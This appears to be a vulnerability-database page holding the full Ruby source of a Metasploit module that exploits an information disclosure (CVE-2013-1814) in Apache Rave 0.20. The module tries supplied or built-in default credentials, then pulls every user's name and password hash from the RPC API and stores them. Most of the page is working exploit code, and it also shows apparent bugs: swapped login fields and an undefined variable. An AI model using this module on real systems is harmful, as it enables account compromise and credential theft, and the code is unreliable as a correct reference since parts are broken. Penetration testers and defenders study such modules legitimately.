CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
SINGLE
Confidentiality Impact
PARTIAL
Integrity Impact
NONE
Availability Impact
NONE
AV:N/AC:L/Au:S/C:P/I:N/A:N
EPSS
Percentile
99.2%
This module exploits an information disclosure in Apache Rave 0.20 and prior. The vulnerability exists in the RPC API, which allows any authenticated user to disclose information about all the users, including their password hashes. In order to authenticate, the user can provide his own credentials. Also the default users installed with Apache Rave 0.20 will be tried automatically. This module has been successfully tested on Apache Rave 0.20.
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Report
def initialize(info = {})
super(update_info(info,
'Name' => 'Apache Rave User Information Disclosure',
'Description' => %q{
This module exploits an information disclosure in Apache Rave 0.20 and prior. The
vulnerability exists in the RPC API, which allows any authenticated user to
disclose information about all the users, including their password hashes. In order
to authenticate, the user can provide his own credentials. Also the default users
installed with Apache Rave 0.20 will be tried automatically. This module has been
successfully tested on Apache Rave 0.20.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Andreas Guth', # Vulnerability discovery and PoC
'juan vazquez' # Metasploit module
],
'References' =>
[
[ 'CVE', '2013-1814' ],
[ 'OSVDB', '91235' ],
[ 'BID', '58455' ],
[ 'EDB', '24744']
]
))
register_options(
[
Opt::RPORT(8080),
OptString.new('TARGETURI', [true, 'Path to Apache Rave Portal', '/portal']),
OptString.new('USERNAME', [ false, 'Apache Rave Username' ]),
OptString.new('PASSWORD', [ false, 'Apache Rave Password' ]),
])
end
def post_auth?
true
end
def login(username, password)
uri = normalize_uri(target_uri.to_s, "j_spring_security_check")
res = send_request_cgi({
'uri' => uri,
'method' => 'POST',
'vars_post' => {
'j_password' => username,
'j_username' => password
}
})
if res and res.code == 302 and res.headers['Location'] !~ /authfail/ and res.get_cookies =~ /JSESSIONID=(.*);/
return $1
else
return nil
end
end
def disclose(cookie, offset)
uri = normalize_uri(target_uri.to_s, "app", "api", "rpc", "users", "get")
res = send_request_cgi({
'uri' => uri,
'method' => 'GET',
'vars_get' => {
'offset' => "#{offset}"
},
'cookie' => "JSESSIONID=#{cookie}"
})
if res and res.code == 200 and res.headers['Content-Type'] =~ /application\/json/ and res.body =~ /resultSet/
return res.body
else
return nil
end
end
def setup
# Default accounts installed and enabled on Apache Rave 0.20
@default_accounts = {
"canonical" => "canonical",
"john.doe" => "john.doe",
"jane.doe" => "jane.doe",
"johnldap" => "johnldap",
"four.col" => "four.col",
"fourwn.col" => "fourwn.col",
"george.doe" => "george.doe",
"maija.m" => "maija.m",
"mario.rossi" => "mario.rossi",
"one.col" => "one.col",
"three.col" => "three.col",
"threewn.col" => "threewn.col",
"twown.col" => "twown.col"
}
end
def report_cred(opts)
service_data = {
address: opts[:ip],
port: opts[:port],
service_name: opts[:service_name],
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
origin_type: :service,
module_fullname: fullname,
username: opts[:user],
private_data: opts[:password],
private_type: :password
}.merge(service_data)
login_data = {
core: create_credential(credential_data),
status: Metasploit::Model::Login::Status::UNTRIED,
proof: opts[:proof]
}.merge(service_data)
create_credential_login(login_data)
end
def run
print_status("#{rhost}:#{rport} - Fingerprinting...")
res = send_request_cgi({
'uri' => normalize_uri(target_uri.to_s, "login"),
'method' => 'GET',
})
if not res
print_error("#{rhost}:#{rport} - No response, aborting...")
return
elsif res.code == 200 and res.body =~ /<span>Apache Rave ([0-9\.]*)<\/span>/
version =$1
if version <= "0.20"
print_good("#{rhost}:#{rport} - Apache Rave #{version} found. Vulnerable. Proceeding...")
else
print_error("#{rhost}:#{rport} - Apache Rave #{version} found. Not vulnerable. Aborting...")
return
end
else
print_warning("#{rhost}:#{rport} - Apache Rave Portal not found, trying to log-in anyway...")
end
cookie = nil
unless datastore["USERNAME"].empty? or datastore["PASSWORD"].empty?
print_status("#{rhost}:#{rport} - Login with the provided credentials...")
cookie = login(datastore["USERNAME"], datastore["PASSWORD"])
if cookie.nil?
print_error("#{rhost}:#{rport} - Login failed")
else
print_good("#{rhost}:#{rport} - Login Successful. Proceeding...")
end
end
if cookie.nil?
print_status("#{rhost}:#{rport} - Login with default accounts...")
@default_accounts.each { |user, password|
print_status("#{rhost}:#{rport} - Login with the #{user} default account...")
cookie = login(user, password)
unless cookie.nil?
print_good("#{rhost}:#{rport} - Login Successful. Proceeding...")
break
end
}
end
if cookie.nil?
print_error("#{rhost}:#{rport} - Login failed. Aborting...")
return
end
print_status("#{rhost}:#{rport} - Disclosing information...")
offset = 0
search = true
while search
print_status("#{rhost}:#{rport} - Disclosing offset #{offset}...")
users_data = disclose(cookie, offset)
if users_data.nil?
print_error("#{rhost}:#{rport} - Disclosure failed. Aborting...")
return
else
print_good("#{rhost}:#{rport} - Disclosure successful")
end
json_info = JSON.parse(users_data)
path = store_loot(
'apache.rave.users',
'application/json',
rhost,
users_data,
nil,
"Apache Rave Users Database Offset #{offset}"
)
print_status("#{rhost}:#{rport} - Information for offset #{offset} saved in: #{path}")
print_status("#{rhost}:#{rport} - Recovering Hashes...")
json_info["result"]["resultSet"].each { |result|
print_good("#{rhost}:#{rport} - Found cred: #{result["username"]}:#{result["password"]}")
report_cred(
ip: rhost,
port: rport,
service_name: 'Apache Rave',
user: result["username"],
password: result["password"],
proof: user_data
)
}
page = json_info["result"]["currentPage"]
total_pages = json_info["result"]["numberOfPages"]
offset = offset + json_info["result"]["pageSize"]
if page == total_pages
search = false
end
end
end
end